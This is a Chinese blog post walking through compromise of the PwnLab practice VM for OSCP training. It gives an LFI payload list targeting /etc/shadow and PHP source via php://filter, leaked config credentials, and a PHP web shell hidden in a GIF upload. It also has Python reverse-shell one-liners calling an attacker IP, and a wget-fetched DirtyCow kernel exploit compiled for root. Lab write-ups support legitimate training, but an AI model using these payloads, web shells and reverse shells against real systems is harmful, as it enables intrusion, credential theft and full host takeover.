OSCP(扩展篇靶机Pwnlab)

第一步:nmap与nikto

 

 

得到线索:

/config.php: PHP Config file may contain database IDs and passwords.

 顺便测试一下SQL注入漏洞

 

第二步:DotDotPwn进行模糊测试

DotDotPwn是一个模糊测试工具,用于发现软件中的遍历目录漏洞,例如HTTP/FTP/TFTP服务器,Web平台的应用程序(如CMS,ERP,博客等)。
DotDotPwn是用perl编程语言编写的,可以在LNIX或Windows平台下运行。
1.需要perl环境,有的系统自带,可使用perl -v查看,若没有直接到官网下载安装:
https://www.perl.org/get.html
2. 下载工具:https://github.com/wireghoul/dotdotpwn
3. 解压:unzip dotdotpwn_master.zip
4. 进入解压后的目录:cd dotdotpwn_master
5. 查看用法:./dotdotpwn.pl

 ./dotdotpwn.pl -m http -h 192.168.107.150 -f config.php

 

第三步:LFI利用结合burp

 

GET /?page=$login$
LFI/RFI的利用结合burp,其中burp解读出来有index.php;config.php;upload.php
https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/
http://xqi.cc/index.php?m=php://filter/convert.base64-encode/resource=index

lfipayloads:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
php://filter/read=string.rot13/resource=index.php
php://filter/read=string.rot13/resource=config.php
php://filter/read=string.rot13/resource=upload.php
php://filter/convert.base64-encode/resource=index.php
php://filter/convert.base64-encode/resource=config.php
php://filter/convert.base64-encode/resource=upload.php
php://filter/convert.base64-encode/resource=index
php://filter/convert.base64-encode/resource=config
php://filter/convert.base64-encode/resource=upload
pHp://FilTer/convert.base64-encode/resource=index
pHp://FilTer/convert.base64-encode/resource=config
pHp://FilTer/convert.base64-encode/resource=upload
pHp://FilTer/convert.base64-encode/resource=index.php
pHp://FilTer/convert.base64-encode/resource=config.php
pHp://FilTer/convert.base64-encode/resource=upload.php
/etc/passwd%00
/etc%2fpasswd
/etc%2fpasswd%00
/etc%5cpasswd
/etc%5cpasswd%00
/etc%c0%afpasswd
/etc%c0%afpasswd%00

 

 

使用 php://filter 进行本地文件包含这将创建php编码为base64,然后再用于语句,我们接下来要做的就是解码base64字符串以获得我们想要的php脚本的源代码。

 

 

对响应内容进行base64解码得出php配置代码
存在upload.php界面可以上传文件,其中通过index.php源码可以分析出cookie执行代码,且只能上传图片,config.php有MYSQL的root密码

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
<?php
 
session_start();
 
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
 
?>
 
<html>
 
    <body>
 
        <form action='' method='post' enctype='multipart/form-data'>
 
            <input type='file' name='file' id='file' />
 
            <input type='submit' name='submit' value='Upload'/>
 
        </form>
 
    </body>
 
</html>
 
<?php
 
if(isset($_POST['submit'])) {
 
    if ($_FILES['file']['error'] <= 0) {
 
        $filename  = $_FILES['file']['name'];
 
        $filetype  = $_FILES['file']['type'];
 
        $uploaddir = 'upload/';
 
        $file_ext  = strrchr($filename, '.');
 
        $imageinfo = getimagesize($_FILES['file']['tmp_name']);
 
        $whitelist = array(".jpg",".jpeg",".gif",".png");
 
 
 
        if (!(in_array($file_ext, $whitelist))) {
 
            die('Not allowed extension, please upload images only.');
 
        }
 
 
 
        if(strpos($filetype,'image') === false) {
 
            die('Error 001');
 
        }
 
 
 
        if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
 
            die('Error 002');
 
        }
 
 
 
        if(substr_count($filetype, '/')>1){
 
            die('Error 003');
 
        }
 
 
 
        $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
 
 
 
        if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
 
            echo "<img src=\"".$uploadfile."\"><br />";
 
        } else {
 
            die('Error 4');
 
        }
 
    }
 
}
 
 
 
?>

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
 
//Multilingual. Not implemented yet.
 
//setcookie("lang","en.lang.php");
 
if (isset($_COOKIE['lang']))
 
{
 
    include("lang/".$_COOKIE['lang']);
 
}
 
// Not implemented yet.
 
?>
 
<html>
 
<head>
 
<title>PwnLab Intranet Image Hosting</title>
 
</head>
 
<body>
 
<center>
 
<img src="images/pwnlab.png"><br />
 
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
 
<hr/><br/>
 
<?php
 
    if (isset($_GET['page']))
 
    {
 
        include($_GET['page'].".php");
 
    }
 
    else
 
    {
 
        echo "Use this server to upload and share image files inside the intranet";
 
    }
 
?>
 
</center>
 
</body>
 
</html>

config.php

1
2
3
4
5
6
7
8
9
10
11
<?php
 
$server   = "localhost";
 
$username = "root";
 
$password = "H4u%QJ_H99";
 
$database = "Users";
 
?>

 

第四步:通过config.php mysql的root密码获取登陆用户和密码,上传图片马

mysql -h 192.168.107.150 -u root -p
show databases;
use Users;
show tables;
select * from users;
base64解码可获得对应用户名密码

 base64解码后:

kent   JWzXuBJJNy

 

 

上传的图片类型文件:(在upload界面可以查看)
vi md.png
GIF89;
<?php echo shell_exec($_GET["cmd"]); ?>

 

 

 找到了上传图片文件的方法,但是无法执行

 

第五步:抓包分析index.php,构造对应php的playload得到www-data权限

在cookie中指定执行图片:在cookie: lang=../upload/(upload界面获得的乱码图片序号)

 反向shell:https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

python:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.107.129",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

 获得shell

 获取ttyshell

python -c 'import pty; pty.spawn("/bin/bash")'

 

第五步:权限提升到root

 换到kent用户看看,这个权限更高

 可以利用DirtyCow内核提权

https://raw.githubusercontent.com/exrienz/DirtyCow/master/dc32.c
EDB-Note: After getting a shell, doing "echo 0 > /proc/sys/vm/dirty_writeback_centisecs" may make the system more stable.

 

cd /var/www/html
vi cow32.c
service apache2 start
------------------------------------------------------------------------------
cd /tmp
wget http://KALIIP/cow32.c
gcc cow32.c -o cowroot -pthread
./cowroot
echo 0 > /proc/sys/vm/dirty_writeback_centisecs 防止系统崩溃用这一条shell

 

 最终获取到root权限

 我的实例是输入了如下,马上崩溃

echo 0 > /proc/sys/vm/dirty_writeback_centisecs

 

完结撒花~

 

posted @   justdoIT*  阅读(138)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】
点击右上角即可分享
微信分享提示